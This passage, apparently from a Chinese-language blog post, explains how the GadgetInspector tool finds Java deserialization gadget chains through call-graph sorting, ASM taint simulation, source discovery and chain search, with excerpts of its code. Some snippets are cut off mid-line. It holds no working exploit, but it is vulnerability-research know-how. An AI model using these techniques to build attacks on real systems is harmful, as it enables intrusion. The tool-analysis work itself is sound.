为什么我们要进行逆拓扑排序,因为在方法的调用链上,假设a方法传递参数给b方法,并且b方法的返回值影响到了a方法的返回值,那么我们在判断方法链的时候就不能从a方法来入手,需要从最深处被调用的b方法来入手,观察b方法的参数与返回值之间是否存在关系,如果存在关系则证明了a方法传入b方法的参数与b方法返回值有关,此时b方法返回值影响到了a方法返回值,那么我们也就可以断定ab方法之间存在污染关系。
在方法调用的关系中,我们可以将这些调用抽象为有向图,假设a方法内部调用了b方法,那么我们就可以将a方法对应的图节点引出一条有向边,指向b方法。最终将所有的调用关系全部依次类推,就形成了一个有向图。我们将指向其他节点的边的数量叫做一个点的出度,指向自己的边的数量叫做一个节点的入度,如果找到有向图中一个入度为0的节点,将其节点以及所有的边全部消去,并输出该节点。不断重复这一操作,直到图中所有节点和边全部被消除掉,我们就得到了一组拓扑排序序列,而这一个序列就对应了我们的方法调用顺序。
但事情并没有想象中这么顺利,在方法调用中会出现两种情况,一个是相同的方法可能会存在重复调用,并且方法调用中由于回调等方式的存在,造成图中可能会出现环路,而环路的出现会导致拓扑排序在某一时刻无法找到一个入度为0的点,也就没有拓扑序列的产生了,解决办法上面的文章也提到了。我们用一个例子来看一下具体的执行过程:
假设有以下方法调用关系:
A → B → CA → D
对应的调用图为:
outgoingReferences = { A: {B, D}, B: {C}, C: {}, D: {}}
初始调用:从根节点 A 开始。
dfsTsort(outgoingReferences, sortedMethods, visitedNodes, stack, A);
处理节点 A:
stack 为空,visitedNodes 为空 → 继续。
获取 A 的被调用方法集合 {B, D}。
将 A 加入 stack(当前路径:[A])。
递归处理子节点 B:
dfsTsort(outgoingReferences, sortedMethods, visitedNodes, stack, B);
处理节点 B:
stack 包含 A,不包含 B → 继续。
获取 B 的被调用方法集合 {C}。
将 B 加入 stack(当前路径:[A, B])。
递归处理子节点 C:
dfsTsort(outgoingReferences, sortedMethods, visitedNodes, stack, C);
处理节点 C:
stack 包含 A, B,不包含 C → 继续。
获取 C 的被调用方法集合 {}(无子节点)。
将 C 加入 visitedNodes 和 sortedMethods:
visitedNodes = {C}, sortedMethods = [C]
返回处理 B。
回溯节点 B:
从 stack 中移除 B(当前路径:[A])。
将 B 加入 visitedNodes 和 sortedMethods:
visitedNodes = {C, B}, sortedMethods = [C, B]
处理 B 的下一个子节点(无剩余节点),返回处理 A。
处理节点 A 的第二个子节点 D:
将 D 加入 stack(当前路径:[A, D])。
递归处理 D:
dfsTsort(outgoingReferences, sortedMethods, visitedNodes, stack, D);
处理节点 D:
获取 D 的被调用方法集合 {}(无子节点)。
将 D 加入 visitedNodes 和 sortedMethods:
visitedNodes = {C, B, D}, sortedMethods = [C, B, D]
返回处理 A。
回溯节点 A:
从 stack 中移除 A(当前路径:[])。
将 A 加入 visitedNodes 和 sortedMethods:
visitedNodes = {C, B, D, A}, sortedMethods = [C, B, D, A]
污点分析顺序:
先分析 C(无依赖),确定其污点传播规则。
分析 B(依赖 C),利用 C 的结果。
分析 D(无依赖)。
最后分析 A(依赖 B 和 D),确保所有被调用方法已处理。
若存在循环调用(如 A → B → A):
处理 A → B → A 时,第二次进入 A 的递归:
stack 包含 A → 触发 if (stack.contains(node)) return;
终止递归,避免死循环。
逆拓扑排序后,接下来就是对方法参数和返回值之间污染关系的分析:
passthroughDataflow = calculatePassthroughDataflow(classResourceByName, classMap, inheritanceMap, sortedMethods, config.getSerializableDecider(methodMap, inheritanceMap));
跟进calculatePassthroughDataflow,首先会遍历sortedMethods,如果是静态初始化代码,即静态代码块,就直接跳过,因为静态代码块是在类加载的时候就加载到JVM当中,我们一般没有办法在程序运行中进行控制
final Map<MethodReference.Handle, Set<Integer>> passthroughDataflow = new HashMap<>(); //遍历所有方法,然后asm观察所属类,经过前面DFS的排序,调用链最末端的方法在最前面 for (MethodReference.Handle method : sortedMethods) { //跳过static静态初始化代码 if (method.getName().equals("<clinit>")) { continue; }
接下来就是对当前所遍历的方法的所属类进行ASM观察:
ClassResourceEnumerator.ClassResource classResource = classResourceByName.get(method.getClassReference().getName()); try (InputStream inputStream = classResource.getInputStream()) { ClassReader cr = new ClassReader(inputStream); try { PassthroughDataflowClassVisitor cv = new PassthroughDataflowClas
跟进visitor逻辑,查看visit方法,visit方法会判断当前观察的类是否是要准备观察方法的所属类
@Override public void visit(int version, int access, String name, String signature, String superName, String[] interfaces) { super.visit(version, access, name, signature, superName, interfaces); this.name = name; //不是目标观察的class跳过 if (!this.name.equals(methodToVisit.getClassReference().getName())) {
接着看visitMethod,我们需要观察的类中的方法只需要是sortedMethod中的方法即可,也就是传入进来的methodToVisit,其他方法是不存在调用关系的:
//不是目标观察的method需要跳过,上一步得到的method都是有调用关系的method才需要数据流分析 if (!name.equals(methodToVisit.getName()) || !desc.equals(methodToVisit.getDesc())) { return null; }
接下来是对方法进行更细致的观察,依旧看封装后的PassthroughDataflowMethodVisitor
MethodVisitor mv = super.visitMethod(access, name, desc, signature, exceptions); passthroughDataflowMethodVisitor = new PassthroughDataflowMethodVisitor( classMap, inheritanceMap, this.passthroughDataflow, serializableDecider, api, mv, this.name, access, name, desc, signature, exceptions);
下面作者用代码模拟了方法调用的过程,从而在模拟的局部变量表(污点变量表)中对参数进行污点标记。我们先来回顾JVM在进行方法调用时都做了哪些事情。假设现在A方法中要调用B方法,那么此时我们是在A方法内部的,那么JVM中会有A方法的栈帧,栈帧中主要两部分,一个是局部变量表,一个是操作数栈,当A方法内部准备调用B方法时,会先将要传给B方法的参数保存到A方法栈帧的操作数栈上,此时JVM会为B方法创建其对应的栈帧,然后在A方法操作数栈上的参数会被弹到B方法栈帧的局部变量表中。B方法内部使用这些参数时,会通过LOAD指令将其从局部变量表加载到操作数栈上,再进行使用。这里的思想就是用代码去模仿JVM的行为,
下面的分析过程基于如下例子,这一段代码调用包含了入参与返回结果相同,返回结果与入参有关的情况,我们分别来看:
public class Main { public String main(String args) throws IOException { String cmd = new A().method1(args); return new B().method2(cmd); }}class A { public String method1(String param) { return param; }}class B { public String method2(String param) { return new C().method3(param); }}class C { publi
逆拓扑排序后的结果为:
A.method1
C.method3
B.method2
main
A.method1
因此我们先从A.method1来进行分析:
这里我们看到visitCode方法,在进入方法的第一时间,ASM会先调用这个方法。对于非静态方法来说,方法参数插槽的第一个0号位位this,对于静态方法,0号位为参数,所以这里将方法内的所有参数保存在一个使用Java代码模拟的局部变量表中,localIndex为参数在局部变量表中的位置,由于参数的类型不同,所以其在局部变量表中占用的大小也不同。而argIndex对应了参数在方法中的索引,通过setLocalTaint方法,形成了局部变量表与方法参数索引之间的映射关系
@Override
public void visitCode() {
super.visitCode();
int localIndex = 0;
int argIndex = 0;
if ((this.access & Opcodes.ACC_STATIC) == 0) {
//非静态方法,第一个局部变量应该为对象实例this
//添加到局部变量表集合
setLocalTaint(localIndex, argIndex);
localIndex += 1;
argIndex += 1;
}
for (Type argType : Type.getArgumentTypes(desc)) {
//判断参数类型,得出变量占用空间大小,然后存储
setLocalTaint(localIndex, argIndex);
localIndex += argType.getSize();
argIndex += 1;
}
}
protected void setLocalTaint(int index, T ... possibleValues) {
Set<T> values = new HashSet<T>();
for (T value : possibleValues) {
values.add(value);
}
savedVariableState.localVars.set(index, values);
}
接下来执行A.method1方法内部逻辑时(即return param),要将局部变量表中的参数通过ALOAD指令读取到操作数栈上,继续模拟,在检测到ALOAD指令时(包括其他访问局部变量表的指令),会回调visitVarInsn,将参数push到模拟的污点栈上,这里的参数可以看到是列表localVars的值,也就是局部变量表中对应的参数索引
@Override
public void visitVarInsn(int opcode, int var) {
// Extend local variable state to make sure we include the variable index
for (int i = savedVariableState.localVars.size(); i <= var; i++) {
savedVariableState.localVars.add(new HashSet<T>());
}
//变量操作,var为操作的本地变量索引
Set<T> saved0;
switch(opcode) {
case Opcodes.ILOAD:
case Opcodes.FLOAD:
push();
break;
case Opcodes.LLOAD:
case Opcodes.DLOAD:
push();
push();
break;
case Opcodes.ALOAD:
//从局部变量表取出变量数据入操作数栈,这个变量数据可能是被污染的
push(savedVariableState.localVars.get(var));
break;
case Opcodes.ISTORE:
case Opcodes.FSTORE:
pop();
savedVariableState.localVars.set(var, new HashSet<T>());
break;
case Opcodes.DSTORE:
case Opcodes.LSTORE:
pop();
pop();
savedVariableState.localVars.set(var, new HashSet<T>());
break;
case Opcodes.ASTORE:
//从栈中取出数据存到局部变量表,这个数据可能是被污染的(主要还是得看调用的方法,返回值是否可被污染)
saved0 = pop();
savedVariableState.localVars.set(var, saved0);
break;
case Opcodes.RET:
// No effect on stack
break;
default:
throw new IllegalStateException("Unsupported opcode: " + opcode);
}
super.visitVarInsn(opcode, var);
sanityCheck();
}
private void push(Set<T> possibleValues) {
// Intentionally make this a reference to the same set
savedVariableState.stackVars.add(possibleValues);
}
接下来当方法调用结束return时,由于使用了ARETURN指令,在解析到无操作数的简单指令时触发visitInsn,我们查看其具体逻辑,可以发现在方法return时,将当前栈上的值返回,即返回的是参数索引set,并将存储到了returnTaint中,代表了A.method1这个方法的调用,参数索引为1的参数param会污染返回值:
@Override public void visitInsn(int opcode) { switch(opcode) { case Opcodes.IRETURN://从当前方法返回int case Opcodes.FRETURN://从当前方法返回float case Opcodes.ARETURN://从当前方法返回对象引用 returnTaint.addAll(getStackTaint(0));//栈空间从内存高位到低位分配空间 break; case Opcodes.LRETURN://从当前方法返回long case Opcodes.DRETURN://从当前方法返回doub
最后对于该方法的观察结束,将污点分析结果存到了passthroughDataflow中,可以看到形成了方法与污染参数目录集合之间的映射关系:
final Map<MethodReference.Handle, Set<Integer>> passthroughDataflow = new HashMap<>(); passthroughDataflow.put(method, cv.getReturnTaint());
C.method3
与A.method1流程一样
B.method2
class B { public String method2(String param) { return new C().method3(param); }}
进入到方法内部,触发visitCode,将参数this、param放入虚拟局部变量表,并形成与参数列表索引的映射关系。
内部方法执行,ALOAD指令触发visitVarInsn,参数this、param push到污点栈。
方法内部调用C.method3,INVOKEVIRTUAL指令触发visitMethodInsn,该方法首先将C.method3参数类型提取,并判断该方法是否是静态方法,如果不是静态方法,将this(被调用方法所在类的实例对象)存入argTypes第一个,并依次存入其他参数。之后获取了方法的返回值类型的所占大小,后面进行使用:
Type[] argTypes = Type.getArgumentTypes(desc); if (opcode != Opcodes.INVOKESTATIC) { //如果执行的非静态方法,则把数组第一个元素类型设置为该实例对象的类型,类比局部变量表 Type[] extendedArgTypes = new Type[argTypes.length+1]; System.arraycopy(argTypes, 0, extendedArgTypes, 1, argTypes.length); extendedArgTypes[0] = Type.getObjectType(owner
接下来初始化argTaint,将其内部元素设置为空,argTaint大小为参数的数量。然后将污点栈中的参数依次存放进argTaint中,对于污点栈savedVariableState.stackVars来说,list从右往左为栈底到栈顶,假设方法参数列表为abc,那么从栈底到栈顶分别为a、b、c。继续将污点栈栈顶元素取出后放在argTaint的最后一个位置,以此类推,从而保证了argTaint中存放的参数索引与C.method3的参数列表的顺序相同。
final List<Set<Integer>> argTaint = new ArrayList<Set<Integer>>(argTypes.length); for (int i = 0; i < argTypes.length; i++) { argTaint.add(null); } int stackIndex = 0; for (int i = 0; i < argTypes.length; i++) { Type argType = argTypes[i]; if (argType.getSize() > 0) { //根据参数类型大小,从栈顶获取入参,参数入栈是从左到右的
接下来判断方法是否是构造器,如果是构造器的话意味着在当前调用方法(B.method2)当中会有这么一段代码:
C c = new C();
因此可以确定被调用方法(C.method3)的返回值结果受到了this(C类实例对象)的污染,那么将argTaint中的0号索引取出,即为this,并将其加入resultTaint。如果不是构造器,那么就创造一个空的HashSet来存储后面的resultTaint。
从passthroughDataflow中拿到被调用方法C.method3的参数与返回值污点分析关系,并判断污点分析关系中的参数是否在当前的argTaint中,如果在则说明被调用方法的返回值被调用者传入的参数污染,这也就是为什么要进行逆拓扑排序。
Set<Integer> passthrough = passthroughDataflow.get(new MethodReference.Handle(new ClassReference.Handle(owner), name, desc));
if (passthrough != null) {
for (Integer passthroughDataflowArg : passthrough) {
//判断是否和同一方法体内的其它方法返回值关联,有关联则添加到栈底,等待执行return时保存
resultTaint.addAll(argTaint.get(passthroughDataflowArg));
}
最后还是return,将B.method2的结果存到passthroughDataflow中
main方法
public class Main {
public String main(String args) throws IOException {
String cmd = new A().method1(args);
return new B().method2(cmd);
}
}
第一步,执行visitCode存储入参到局部变量表
第二步,执行visitVarInsn参数入栈
第三步,执行visitMethodInsn调用A.method1,A.method1被污染的返回结果,也就是参数索引会被放在栈顶
第四步,执行visitVarInsn把放在栈顶的污染参数索引,放入到本地变量表
第五步,执行visitVarInsn参数入栈
第六步,执行visitMethodInsn调用B.method2,被污染的返回结果会被放在栈顶
第七步,执行visitInsn,返回栈顶数据,缓存到passthroughDataflow,也就是main方法的污点分析结果
最后通过passthroughDiscovery.save方法保存分析数据
public static class PassThroughFactory implements DataFactory<Map.Entry<MethodReference.Handle, Set<Integer>>> {
...
@Override
public String[] serialize(Map.Entry<MethodReference.Handle, Set<Integer>> entry) {
if (entry.getValue().size() == 0) {
return null;
}
final String[] fields = new String[4];
fields[0] = entry.getKey().getClassReference().getName();
fields[1] = entry.getKey().getName();
fields[2] = entry.getKey().getDesc();
StringBuilder sb = new StringBuilder();
for (Integer arg : entry.getValue()) {
sb.append(Integer.toString(arg));
sb.append(",");
}
fields[3] = sb.toString();
return fields;
}
}
最后持久化的passthrough.dat文件的数据格式如下:
类名 方法名 方法描述 能污染返回值的参数索引1,能污染返回值的参数索引2,能污染返回值的参数索引3...
0x05 方法调用污染关联-CallGraphDiscovery
我们用这个例子进行分析:
public class Main {
private String name;
public void main(String args) throws IOException {
new A().method1(args, name);
}
}
class A {
public String method1(String param, String param2) {
return param + param2;
}
}
跟进callGraphDiscovery.discover,读取前面收集的数据,然后使用ModelGeneratorClassVisitor进行观察,visitCode观察每一个类,visitMethod观察类中的每一个方法,继续跟进ModelGeneratorMethodVisitor
@Override
public MethodVisitor visitMethod(int access, String name, String desc,
String signature, String[] exceptions) {
MethodVisitor mv = super.visitMethod(access, name, desc, signature, exceptions);
ModelGeneratorMethodVisitor modelGeneratorMethodVisitor = new ModelGeneratorMethodVisitor(classMap,
inheritanceMap, passthroughDataflow, serializableDecider, api, mv, this.name, access, name, desc, signature, exceptions);
return new JSRInlinerAdapter(modelGeneratorMethodVisitor, access, name, desc, signature, exceptions);
}
进入main方法内部,触发visitCode,main方法不是静态,将this以及参数args存入局部变量表,此处与前面不同的是会在参数索引前加一个arg前缀来进行标识:
public void visitCode() {
super.visitCode();
int localIndex = 0;
int argIndex = 0;
//使用arg前缀来表示方法入参,后续用于判断是否为目标调用方法的入参
if ((this.access & Opcodes.ACC_STATIC) == 0) {
setLocalTaint(localIndex, "arg" + argIndex);
localIndex += 1;
argIndex += 1;
}
for (Type argType : Type.getArgumentTypes(desc)) {
setLocalTaint(localIndex, "arg" + argIndex);
localIndex += argType.getSize();
argIndex += 1;
}
}
我在写到这里的时候有一点疑问,对于visitVarInsn的调用时机。我们来看如下两个例子:
// example 1
A a = new A();
a.method1(args);
//example 2
new A().method1(args);
我们先来看第一个例子,new A()的字节码指令大概如下,可以看到是没有LOAD指令的,在调用构造方法时直接消费的是操作数栈上的A对象引用:
NEW A //创建A类实例
DUP //创建对象引用
INVOKESPECIAL A.<init>()V //调用构造方法
接下来由于要把对象引用存到a中,因此会把对象引用存储到局部变量表中(假设在局部变量表2号位,局部变量表1号位存储args),即ASTORE指令,此时会触发一次visitVarInsn。那么接下来在调用a.method1(args)时需要进行两次ALOAD,首先把a的对象引用加载到操作数栈上,再把args加载到操作数栈上,从而接着触发了两次visitVarInsn
NEW A
DUP
INVOKESPECIAL A.<init>()V
ASTORE 2 // 存到局部槽 2 —> visitVarInsn(ASTORE,2)
ALOAD 2 // 再加载回来 —> visitVarInsn(ALOAD,2)
ALOAD 1 // 加载 args —> visitVarInsn(ALOAD,1)
INVOKEVIRTUAL A.method1…
继续我们看第二个例子,当构造函数执行完毕后,不需要进行ASTORE,并且再调用method1时也不需要从局部变量表中加载a的对象引用,因此最终只有加载args时才会调用一次visitVarInsn
NEW A
DUP
INVOKESPECIAL A.<init>()V
// 上一步执行完 new A(),操作数栈上已经有了 A 的实例
ALOAD 1 // 将 args(槽 1)加载到栈顶 — 触发一次 visitVarInsn(AL OAD,1)
INVOKEVIRTUAL A.method1:(Ljava/lang/String;)Ljava/lang/Strin
检测到字节码指令new,触发visitTypeInsn,会push一个空的HashSet到污点栈中:
@Override
public void visitTypeInsn(int opcode, String type) {
switch(opcode) {
case Opcodes.NEW:
push();
break;
case Opcodes.ANEWARRAY:
pop();
push();
break;
case Opcodes.CHECKCAST:
// No-op
break;
case Opcodes.INSTANCEOF:
pop();
push();
break;
default:
throw new IllegalStateException("Unsupported opcode: " + opcode);
}
字节码指令INVOKESPECIALA.<init>()V,调用A的构造器,触发visitMethodInsn,判断是否是构造器,被调用方法为构造器,将this设置为argTypes第一个参数:
Type[] argTypes = Type.getArgumentTypes(desc);
if (opcode != Opcodes.INVOKESTATIC) {
Type[] extendedArgTypes = new Type[argTypes.length+1];
System.arraycopy(argTypes, 0, extendedArgTypes, 1, argTypes.length);
extendedArgTypes[0] = Type.getObjectType(owner);
argTypes = extendedArgTypes;
}
jiee下来检测启动工具时参数是否要进行污点分析,如果不进行污点分析,则直接把调用方法以及被调用方法封装为GraphCall,加入discoveredCalls中:
if (!ConfigHelper.taintTrack) {
//不进行污点分析,全部调用关系都记录
discoveredCalls.add(new GraphCall(
new MethodReference.Handle(new ClassReference.Handle(this.owner), this.name, this.desc),
new MethodReference.Handle(new ClassReference.Handle(owner), name, desc),
0,
"",
0));
break;
}
启动污点分析后的逻辑接着往下看,会从污点栈中取出对应的参数,但我们这里由于没有进入到visitVarInsn,因此污点栈目前只有一个在visitInsn中push进去的一个空的set,这一步不会对discoverdCalls做任何事情
接着我们分析method1(args,name)的调用情况,首先需要加载args,触发visitVarInsn,ALOAD指令,将args(arg1)推入污点栈,然后调用visitMethodInsn。由于要传递的参数name是a的属性,因此需要加载this,从this中拿到name属性。触发ALOAD指令,将this(arg0)推入污点栈。此时污点栈中为如下内容:
stackVars
[{}, {"arg1"}, {"arg0"} ]
接下来需要读入实例a的name字段,检测到字节码指令GETFIELD,触发visitFieldInsn,首先在ClassReference中不断遍历,直到找到该字段,判断该字段是否是transient,如果是transient就没必要加入污点栈。如果是非transient属性,就把栈顶当前的arg0修改为arg0.name加入污点栈中
Set<String> newTaint = new HashSet<>();
if (!Boolean.TRUE.equals(isTransient)) {
for (String s : getStackTaint(0)) {
newTaint.add(s + "." + name);
}
}
super.visitFieldInsn(opcode, owner, name, desc);
//在调用方法前,都会先入栈,作为参数
setStackTaint(0, newTaint);
非静态方法,argTypes第一个为A(this),第二个为String(args),第三个为String(name),对应了污点栈上的[{},{"arg1"}, {"arg0"} ](从左到右为栈底到栈顶),for循环i从0到2,分别从污点栈中拿到了arg0.name,arg1和空set。首先对arg0.name进行拆解,最终拆解出来dotIndex为4,srcArgIndex为0,srcArgPath为name,并记录到了discoverdCalls当中。继续拆解arg1,dotindex为-1,srcArgIndexn为1,srcArgPath为null,记录到discoverdCall
int stackIndex = 0;
for (int i = 0; i < argTypes.length; i++) {
//最右边的参数,就是最后入栈,即在栈顶
int argIndex = argTypes.length-1-i;
Type type = argTypes[argIndex];
//操作数栈出栈,调用方法前,参数都已入栈
Set<String> taint = getStackTaint(stackIndex);
if (taint.size() > 0) {
for (String argSrc : taint) {
//取出出栈的参数,判断是否为当前方法的入参,arg前缀
if (!argSrc.substring(0, 3).equals("arg")) {
throw new IllegalStateException("Invalid taint arg: " + argSrc);
}
int dotIndex = argSrc.indexOf('.');
int srcArgIndex;
String srcArgPath;
if (dotIndex == -1) {
srcArgIndex = Integer.parseInt(argSrc.substring(3));
srcArgPath = null;
} else {
srcArgIndex = Integer.parseInt(argSrc.substring(3, dotIndex));
srcArgPath = argSrc.substring(dotIndex+1);
}
//记录参数流动关系
//argIndex:当前方法参数索引,srcArgIndex:对应上一级方法的参数索引
discoveredCalls.add(new GraphCall(
new MethodReference.Handle(new ClassReference.Handle(this.owner), this.name, this.desc),
new MethodReference.Handle(new ClassReference.Handle(owner), name, desc),
srcArgIndex,
srcArgPath,
argIndex));
}
}
stackIndex += type.getSize();
}
最后save保存数据,持久化后的callgraph.dat格式如下:
调用者类名 调用者方法caller 调用者方法描述 被调用者类名 被调用者方法target 被调用者方法描述 调用者方法参数索引 调用者字段名 被调用者方法参数索引
0x06 利用链入口搜索-SourceDiscovery
在一开始我们也说到了,在挖掘反序列化链的时候需要指定类型,所以此处先获得对应的sourceDiscovery,我们这里以Jackson反序列化分析
if (!Files.exists(Paths.get("sources.dat"))) {
LOGGER.info("Discovering gadget chain source methods...");
SourceDiscovery sourceDiscovery = config.getSourceDiscovery();
//查找利用链的入口(例:java原生反序列化的readObject)
sourceDiscovery.discover();
sourceDiscovery.save();
}
跟进SourceDiscovery.discover在jackson中的实现,可以发现对于Jackson反序列化来说,source需要判断方法是否是无参构造、setter和getter,只有这些方法才能作为jackson反序列化的入口:
@Override
public void discover(Map<ClassReference.Handle, ClassReference> classMap,
Map<MethodReference.Handle, MethodReference> methodMap,
InheritanceMap inheritanceMap, Map<MethodReference.Handle, Set<GraphCall>> graphCallMap) {
final JacksonSerializableDecider serializableDecider = new JacksonSerializableDecider(methodMap);
for (MethodReference.Handle method : methodMap.keySet()) {
if (skipList.contains(method.getClassReference().getName())) {
continue;
}
if (serializableDecider.apply(method.getClassReference())) {
if (method.getName().equals("<init>") && method.getDesc().equals("()V")) {
addDiscoveredSource(new Source(method, 0));
}
if (method.getName().startsWith("get") && method.getDesc().startsWith("()")) {
addDiscoveredSource(new Source(method, 0));
}
if (method.getName().startsWith("set") && method.getDesc().matches("\\(L[^;]*;\\)V")) {
addDiscoveredSource(new Source(method, 0));
}
}
}
}
最后还是将方法保存持久化为sources.dat,格式如下:
类名 方法名 方法描述 污染参数索引
0x07 gadgetChain挖掘-GadgetChainDiscovery
跟进GadgetChainDiscovery.discover,首先进行所有重写方法的扫描,在一开始我们也说了工具没有办法在运行时进行扫描,所以对于各种方法的重写我们没有办法确定到底调用的是哪个方法
Map<MethodReference.Handle, MethodReference> methodMap = DataLoader.loadMethods();
InheritanceMap inheritanceMap = InheritanceMap.load();
Map<MethodReference.Handle, Set<MethodReference.Handle>> methodImplMap = InheritanceDeriver
.getAllMethodImplementations(
inheritanceMap, methodMap);
Map<ClassReference.Handle, Set<MethodReference.Handle>> methodsByClass = InheritanceDeriver.getMethodsByClass(methodMap);
跟进InheritanceDeriver.getAllMethodImplementations,获取之前收集到的method的类,并通过之前收集到的继承关系来获取类的所有子孙类,最终形成类->子孙类的映射关系:
Map<Handle, Set<MethodReference.Handle>> methodsByClass = getMethodsByClass(methodMap);
Map<ClassReference.Handle, Set<ClassReference.Handle>> subClassMap = new HashMap<>();
for (Map.Entry<ClassReference.Handle, Set<ClassReference.Handle>> entry : inheritanceMap.entrySet()) {
for (ClassReference.Handle parent : entry.getValue()) {
if (!subClassMap.containsKey(parent)) {
Set<ClassReference.Handle> subClasses = new HashSet<>();
subClasses.add(entry.getKey());
subClassMap.put(parent, subClasses);
} else {
subClassMap.get(parent).add(entry.getKey());
}
}
}
接下来遍历所有的方法,并遍历subclasses,如果某一个subclass中存在与当前遍历的方法名和返回值一致的方法,就将其加入overridingMethods,最后整合所有重写的方法,形成方法名到重写方法之间的映射关系,由于静态方法不可重写,因此遇到静态方法直接跳过:
//遍历所有方法,根据父类->子孙类集合,找到所有的override的方法,记录下来(某个类的方法->所有的override方法)
Map<MethodReference.Handle, Set<MethodReference.Handle>> methodImplMap = new HashMap<>();
for (MethodReference method : methodMap.values()) {
// Static methods cannot be overriden
if (method.isStatic()) {
continue;
}
Set<MethodReference.Handle> overridingMethods = new HashSet<>();
Set<ClassReference.Handle> subClasses = subClassMap.get(method.getClassReference());
if (subClasses != null) {
for (ClassReference.Handle subClass : subClasses) {
// This class extends ours; see if it has a matching method
Set<MethodReference.Handle> subClassMethods = methodsByClass.get(subClass);
if (subClassMethods != null) {
for (MethodReference.Handle subClassMethod : subClassMethods) {
if (subClassMethod.getName().equals(method.getName()) && subClassMethod.getDesc().equals(method.getDesc())) {
overridingMethods.add(subClassMethod);
}
}
}
}
}
if (overridingMethods.size() > 0) {
methodImplMap.put(method.getHandle(), overridingMethods);
}
}
然后下面的一大堆逻辑就是对重写方法关系的持久化存储,最终的methodimpl.dat格式如下:
类名 方法名 方法描述
\t重写方法的类名 方法名 方法描述
\t重写方法的类名 方法名 方法描述
\t重写方法的类名 方法名 方法描述
\t重写方法的类名 方法名 方法描述
类名 方法名 方法描述
\t重写方法的类名 方法名 方法描述
\t重写方法的类名 方法名 方法描述
接下来对callgraph.dat的调用关系进行整合,对于同一个方法发起的调用,整合成caller->被调用方法集合之间的映射关系:
Map<MethodReference.Handle, Set<GraphCall>> graphCallMap = new HashMap<>();
for (GraphCall graphCall : DataLoader
.loadData(Paths.get("callgraph.dat"), new GraphCall.Factory())) {
MethodReference.Handle caller = graphCall.getCallerMethod();
if (!graphCallMap.containsKey(caller)) {
Set<GraphCall> graphCalls = new HashSet<>();
graphCalls.add(graphCall);
graphCallMap.put(caller, graphCalls);
} else {
graphCallMap.get(caller).add(graphCall);
}
}
剩下的挖掘逻辑我们用一个例子来分析:
设我们有如下方法间调用:
源:A.sources() 污染参数 0
A.sources(0) → 调用 B.load(0)
B.load(0) → 调用接口方法 C.handle(0)
C.handle(0) 在实现类 CImpl 中有实现 CImpl.handle(0)
CImpl.handle(0) → 调用 D.sink(1)(这里假设它把参数 1 污染到 sink)
D.sink(1) 是最终的 sink
对应的数据结构:
sources.dat 只包含一个 Source(A.sources, taintedArgIndex=0)
graphCallMap
A.sources → { GraphCall(callerArgIndex=0, targetMethod=B.load, targetArgIndex=0) }B.load → { GraphCall(callerArgIndex=0, targetMethod=C.handle, targetArgIndex=0) }C.handle → { GraphCall(callerArgIndex=0, targetMethod=C.handle, targetArgIndex=0) } // interfaceCImpl.handle → { GraphCall(callerArgIndex
implementationFinder.getImplementations(C.handle) → { CImpl.handle }
isSink(D.sink,1) → true
对于是否为sink点的判断逻辑如下:
private boolean isSink(MethodReference.Handle method, int argIndex, InheritanceMap inheritanceMap) { if (!customSlinks.isEmpty()) { for (CustomSlink customSlink:customSlinks) { boolean flag = false; if (customSlink.getClassName() != null) flag &= customSlink.getClassName().equals(method.getClassRef
配置参数:
maxChainLength = 10opLevel = 2taintTrack = true
1️⃣ 初始化
for each Source: srcLink = (A.sources, 0) methodsToExplore = [ [ A.sources(0) ] ] exploredMethods = { A.sources(0) }discoveredGadgets = { }
2️⃣ 第一次迭代
iteration=0 → pop first chain
chain = [ A.sources(0) ]lastLink = (A.sources,0)
长度检查:1 < maxChainLength → 通过
取出 graphCallMap.get(A.sources) → { GC1 }
GC1: (callerArgIndex=0 → targetMethod=B.load, targetArgIndex=0)
taintTrack:GC1.callerArgIndex(0) == lastLink.taintedArgIndex(0) → 通过
找实现:allImpls = getImpls(B.load) → { B.load }(普通方法)
遍历 impls:
methodImpl = B.load
newLink = (B.load,0)
去重:exploredMethods 不含 → 继续
新链:newChain = [ A.sources(0), B.load(0) ]
sink 检测:isSink(B.load,0) → false
加入队列:
methodsToExplore = [ [A.sources(0),B.load(0)] ]exploredMethods.add(B.load(0))
3️⃣ 第二次迭代
iteration=1 → pop
chain = [A.sources(0),B.load(0)]lastLink = (B.load,0)
graphCallMap.get(B.load) → { GC2 }
GC2: (callerArgIndex=0 → targetMethod=C.handle, targetArgIndex=0)
taintTrack:匹配 → 通过
impls:getImpls(C.handle) → { },fallback 父类查找也无(接口),所以按注释 “GadgetInspector bug”,跳到父类去搜,依次找到 C.handle 本身,加入。
impls 变为 → { C.handle }
for each impl:
newLink = (C.handle,0)
去重通过
newChain = [A.sources(0),B.load(0),C.handle(0)]
isSink(C.handle,0) → false
加入:
methodsToExplore = [ [A.sources(0),B.load(0),C.handle(0)] ]
exploredMethods.add(C.handle(0))
4️⃣ 第三次迭代
chain = [A.sources(0),B.load(0),C.handle(0)]
graphCallMap.get(C.handle) → { GC3 }
GC3: (callerArgIndex=0 → targetMethod=C.handle, targetArgIndex=0) // 发自实现类
taintTrack:匹配
impls:getImpls(C.handle) → { CImpl.handle }
for each:
newLink = (CImpl.handle,0)
去重通过
newChain = [A.sources(0),B.load(0),C.handle(0),CImpl.handle(0)]
isSink(CImpl.handle,0) → false
入队 & 加入 exploredMethods
5️⃣ 第四次迭代
chain = [ …, CImpl.handle(0)]
graphCallMap.get(CImpl.handle) → { GC4 }
GC4: (callerArgIndex=0 → targetMethod=D.sink, targetArgIndex=1)
taintTrack:匹配
impls:getImpls(D.sink) → { D.sink }
for each:
newLink = (D.sink,1)
去重通过
newChain = [ …, CImpl.handle(0), D.sink(1)]
isSink(D.sink,1) → true
加入 discoveredGadgets
此时 methodsToExplore 可能为空,循环结束。
接下来进行链路聚合优化
java复制编辑for (GadgetChain shortChain : methodsToExploreRepeat) {
for (GadgetChain fullChain : discoveredGadgets) {
if (shortChain.lastLink 出现在 fullChain 里) {
// 把 fullChain 从 shortChain.lastLink 之后的部分拼过来
tmpDiscoveredGadgets.add( 拼合后的链 );
}
}
}
discoveredGadgets.addAll(tmpDiscoveredGadgets);
比如如果我们因为 opLevel 限制,把某条中间链放进了 methodsToExploreRepeat 而没展开到 sink,那么这段逻辑就能 把这些中途链 自动补全到 已知的完整 Chain,得到更多发现。
